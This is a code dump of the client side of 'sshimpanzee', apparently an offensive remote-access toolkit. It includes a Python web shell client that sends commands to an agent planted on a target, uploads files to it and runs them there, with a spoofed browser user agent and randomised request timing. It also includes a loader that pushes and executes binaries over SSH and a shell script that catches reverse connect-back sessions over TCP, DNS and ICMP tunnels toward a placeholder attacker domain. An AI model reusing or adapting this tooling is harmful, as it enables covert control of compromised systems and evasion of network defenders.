================================================ import sys import select import fcntl import os import requests import base64 import random import time import argparse import urllib3 urllib3.disable_warnings() BUFFER_RANDOM=5 key = None headers = {} proxies = {} session = None parser = argparse.ArgumentParser(description='Python web shell client.', conflict_handler='resolve', formatter_class=argparse.RawDescriptionHelpFormatter) parser.add_argument('url', type=str, help='Target url') parser.add_argument('key', type=str, help='Authentication key') parser.add_argument('--no-buffer', action='store_const', help='Authentication key', const=True) parser.add_argument("--run", type=str, help='Command to run instead of ssh') parser.add_argument("--timeout", type=int, help='Timeout for http request', default=7) parser.add_argument("--push", type=list, help='push a file on the remote filesystem: --push [src] [destination]', nargs=2) parser.add_argument("--user-agent", type=str, help='Custom user agent', default='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36') parser.add_argument("--proxy", '-x', type=str, help='Proxy') parser.add_argument("--no-tls-verify", "-k", help='Disable TLS server verification', default=True, action='store_const', const=False) parser.add_argument("--connect", help='Create a socket connection (only available in JSP)', type=str) def connect(pth, connection, verify=True, timeout=7): remote = connection.split(":") if len(remote) != 2 or not remote[1].isnumeric() or 1 > int(remote[1]) > 65535: print("[-] Connect argument should be of format REMOTE:PORT") session.post(pth, {"TODO": "CONNECT", "REMOTE": remote[0], "PORT": remote[1]}) def drop(pth, what, where, verify=True, timeout=7): with open(what, 'rb') as reader: r = reader.read(1024) c = r while len(r)==1024: r = reader.read() b64 = base64.b64encode(c) x = session.post(pth, {"TODO": "DROP", "KEY": key, "WHAT":b64, "WHERE" : where}, headers=headers, proxies=proxies, timeout=timeout, verify=verify) def run(pth, where, verify=True, timeout=7): x = session.post(pth, {"TODO": "START", "KEY": key, "WHERE" : where}, headers=headers, proxies=proxies, timeout=timeout, verify=verify) print(x.content) def pull_data(pth, verify=True, timeout=7): success = False while not success: try: x = session.post(pth, {"TODO": "READ", "KEY":key}, headers=headers, proxies=proxies, timeout=timeout, verify=verify) success = True except Exception as e: print(f"[proxy_cli.py - write_data] Exception on request: {e}", file=sys.stderr) if (not x or x.status_code == 201): print("[proxy_cli.py - pull_data] sshimpanzee agent not running on target", file=sys.stderr) sys.exit(-1) if (x.content!=""): b = base64.b64decode(x.content) #sys.stderr.buffer.write(b) #sys.stderr.buffer.flush() sys.stdout.buffer.write(b) sys.stdout.buffer.flush() return def write_data(pth,d, verify=True, timeout=7): b = base64.b64encode(d) success = False while not success: try: x = session.post(pth, {"TODO":"WRITE" , "DATA":b, "KEY": key}, headers=headers, proxies=proxies, verify=verify) if x.status_code == 200: success = True else: print(f"[proxy_cli.py - write_data] Obtained status code {x.status_code} on write...", file=sys.stderr) except Exception as e: print(f"[proxy_cli.py - write_data] Exception on request: {e}", file=sys.stderr) #print(x.content, file=sys.stderr) return x.status_code if __name__ == "__main__": args = parser.parse_args() key = args.key headers['User-Agent'] = args.user_agent session = requests.Session() if args.proxy: proxies["http"] = args.proxy proxies["https"] = args.proxy if args.connect: connect(args.url, args.connect) if not (args.push or args.run): orig_fl = fcntl.fcntl(sys.stdin, fcntl.F_GETFL) fcntl.fcntl(sys.stdin, fcntl.F_SETFL, orig_fl | os.O_NONBLOCK) while True: i = [sys.stdin] if args.no_buffer: ins, _, _ = select.select(i, [], [], random.randint(1,5)) else: timer = random.randint(1,BUFFER_RANDOM) time.sleep(timer) ins, _, _ = select.select(i, [], [], 0) if len(ins) != 0: x = sys.stdin.buffer.read() write_data(args.url,x, verify=args.no_tls_verify, timeout=args.timeout) pull_data(args.url, verify=args.no_tls_verify, timeout=args.timeout) if args.push: drop(args.url, args.push[0], args.push[1], verify=args.no_tls_verify, timeout=args.timeout) elif args.run: run(args.url, args.run, verify=args.no_tls_verify, timeout=args.timeout) ================================================ FILE: utils/client/bin/remote_loader.py ================================================ #/bin/python import subprocess from subprocess import Popen, PIPE import argparse import os import time import select import sys import fcntl parser = argparse.ArgumentParser(description='Remote loader') parser.add_argument('ssh_socket', help='Path to ssh socket') parser.add_argument('client', help='path to the client executable file and arguments, use "-" for stdin/stdout') parser.add_argument('server', help='path to the server executable file') parser.add_argument('arguments', help='Argument to the remote executable', default=[], nargs='*') args = parser.parse_args() arguments = " ".join(args.arguments) stat = os.stat(args.server) print(f"[*] Running \"{args.server} {arguments}\" on remote server ...") ssh_command = f"ssh -S {args.ssh_socket} . -s remote-exec" print(f"[+] Using socket @ {args.ssh_socket} (cmdline: {ssh_command})") env = os.environ.copy() process = Popen(ssh_command, stdin=PIPE, stdout=PIPE, stderr=None, shell=True, env=env) b = f"{args.server} ".encode() x = process.stdout.read(26) process.stdin.write(b) try: process.stdin.flush() except: while(True): x = process.stderr.readline() if not x: break else : print(x) b = f"{stat.st_size}".encode() process.stdin.write(b) try: process.stdin.flush() except: print(process.stderr.readline()) if len(arguments) != 0: arguments += " " b = f" {arguments}\n".encode() process.stdin.write(b) try: process.stdin.flush() except: print(process.stderr.readline()) time.sleep(1) print("[+] Starting file transfer") with open(args.server, "rb") as f: while True: chunk = f.read() process.stdin.write(chunk) if not chunk: break print("[+] File has been transfered, running it") try: process.stdin.flush() except: pass if args.client != "-": process_client = Popen(args.client, stdin=PIPE, stdout=PIPE, stderr=None, shell=True, env=env) stdout = process_client.stdout stdin = process_client.stdin else: stdout = sys.stdin.buffer stdin = sys.stdout.buffer inputs = [ process.stdout, stdout ] outputs = [] orig_fl = fcntl.fcntl(process.stdout, fcntl.F_GETFL) fcntl.fcntl(process.stdout, fcntl.F_SETFL, orig_fl | os.O_NONBLOCK) orig_fl_cli = fcntl.fcntl(stdout, fcntl.F_GETFL) fcntl.fcntl(stdout, fcntl.F_SETFL, orig_fl | os.O_NONBLOCK) c = True while c: readable, writable, exceptional = select.select(inputs, outputs, inputs) for i in readable: if i == process.stdout: x = i.read() stdin.write(x) stdin.flush() if not x: c = False elif i == stdout: x = i.read() process.stdin.write(x) process.stdin.flush() if not x: c = False ================================================ FILE: utils/client/bin/sshimpanzee ================================================ #!/bin/sh script_path="$(realpath -s "$0")" sshim_dir=$(realpath $(dirname $script_path)/../)/ sshim_key=$sshim_dir/keys/CLIENT sshim_socks="$sshim_dir"/socks sshim_conf="$sshim_dir"/config/ssh_config cmd_sock_name='echo "$(whoami)@$(hostname)"' if [[ "--list" = $1 ]]; then $sshim_dir/bin/active_chan n exit fi if [[ "--new" = $1 ]]; then if [[ -z $2 ]]; then port=8080; else port=$2; fi echo Waiting for connect back direct TCP on port $port; ssh -f -S $sshim_socks/t -i $sshim_key -F $sshim_conf -o"ProxyCommand=nc -lp $port" test -N; sockname=$(ssh -S $sshim_socks/t -F $sshim_conf test $cmd_sock_name) mv $sshim_socks/t $sshim_socks/$sockname echo "Session $sockname has been created" exit fi if [[ "--new-dns" = $1 ]]; then if [[ ! -f $sshim_dir/bin/dns2tcpd ]]; then echo "Missing dns2tcpd binary in bin/" echo "copy the build dns2tcpd in tuns/dns2tcp/server/ to utils/client/bin/" exit fi echo Waiting for connect back DNS...; if ! pgrep dns2tcpd >/dev/null; then sudo $sshim_dir/bin/dns2tcpd -f $sshim_dir/config/dnsconf.txt fi; ssh -f -S $sshim_socks/t -i $sshim_key -F $sshim_conf -o"ProxyCommand=nc -lp 8080 -s 127.0.0.1" test -N sockname=$(ssh -S $sshim_socks/t -F $sshim_conf test $cmd_sock_name) mv $sshim_socks/t $sshim_socks/$sockname echo "Session $sockname has been created" exit fi if [[ "--new-icmp" = $1 ]]; then if [[ ! -f $sshim_dir/bin/icmptunnel ]]; then echo "Missing icmptunnel binary in bin/" echo "copy the built icmptunnel in tuns/icmptunnel/ to utils/client/bin/" echo "give it cap_net_raw cap to avoir run it as root:" echo "sudo setcap cap_net_raw=eip ./icmptunnel" exit fi echo Waiting for connect back through ICMP...; ssh -f -S $sshim_socks/t -F $sshim_conf -i $sshim_key -o"ProxyCommand=$sshim_dir/bin/icmptunnel" root@test -N sockname=$(ssh -S $sshim_socks/t -F $sshim_conf test $cmd_sock_name) mv $sshim_socks/t $sshim_socks/$sockname echo "Session $sockname has been created" exit fi if [[ "--new-http" = $1 ]]; then if [[ -z $2 ]]; then echo "Please provide the proxy url..." exit fi if [[ -z $3 ]]; then echo "Please provide the key argument..." exit fi echo Initiating connexion to proxy at $2 using encryption key $3...; ssh -f -S $sshim_socks/t -F $sshim_conf -i $sshim_key -o"ProxyCommand=python $sshim_dir/bin/proxy_cli.py $2 $3" test -N sockname=$(ssh -S $sshim_socks/t -F $sshim_conf test $cmd_sock_name) mv $sshim_socks/t $sshim_socks/$sockname echo "Session $sockname has been created" exit fi if [[ "--get-name" = $1 ]]; then if [[ -z $2 || ! -S $sshim_socks/$2 ]]; then echo "Please provide a valid session name..." exit fi echo Session $2 : ssh -S $sshim_socks/$2 _ ${@:3} exit fi if [[ "--get" = $1 ]]; then if [[ -z $2 ]]; then echo "Please provide a valid session id..." exit fi res=$($sshim_dir/bin/active_chan g $2) if [[ -z $res ]]; then echo "Invalid Id" exit fi echo Session $res : ssh -S $sshim_socks/$res _ ${@:3} exit fi if [[ "--kill" = $1 ]] then if [[ ! -z $2 && -S $sshim_socks/$2 ]]; then ssh -F $sshim_conf -S $sshim_socks/$2 -O exit _ exit fi res=$($sshim_dir/bin/active_chan g $2) if [[ ! -z $res ]]; then ssh -F $sshim_conf -S $sshim_socks/$res -O exit _ fi exit fi if [[ "--rename" = $1 ]] then if [[ ! -z $2 && -S $sshim_socks/$2 ]]; then echo "Print enter new name for $2" read name mv $sshim_socks/$2 $sshim_socks/$name exit fi res=$($sshim_dir/bin/active_chan g $2) if [[ ! -z $res ]]; then echo "Print enter new name for $res" read name mv $sshim_socks/$res $sshim_socks/$name fi exit fi res=$($sshim_dir/bin/active_chan | fzf) if [[ ! -S $sshim_socks/$res ]]; then exit fi ssh -F $sshim_conf -S $sshim_socks/$res $res ${@:3} ================================================ FILE: utils/client/config/dnsconf.txt ================================================ listen = 0.0.0.0 port = 53 key = sshimpanzee domain = your.attacker.domain resources = sshimpanzee:127.0.0.1:8080 ================================================ FILE: utils/client/config/ssh_config ================================================ Host * StrictHostKeyChecking no UserKnownHostsFile /dev/null ControlMaster auto ControlPersist yes User _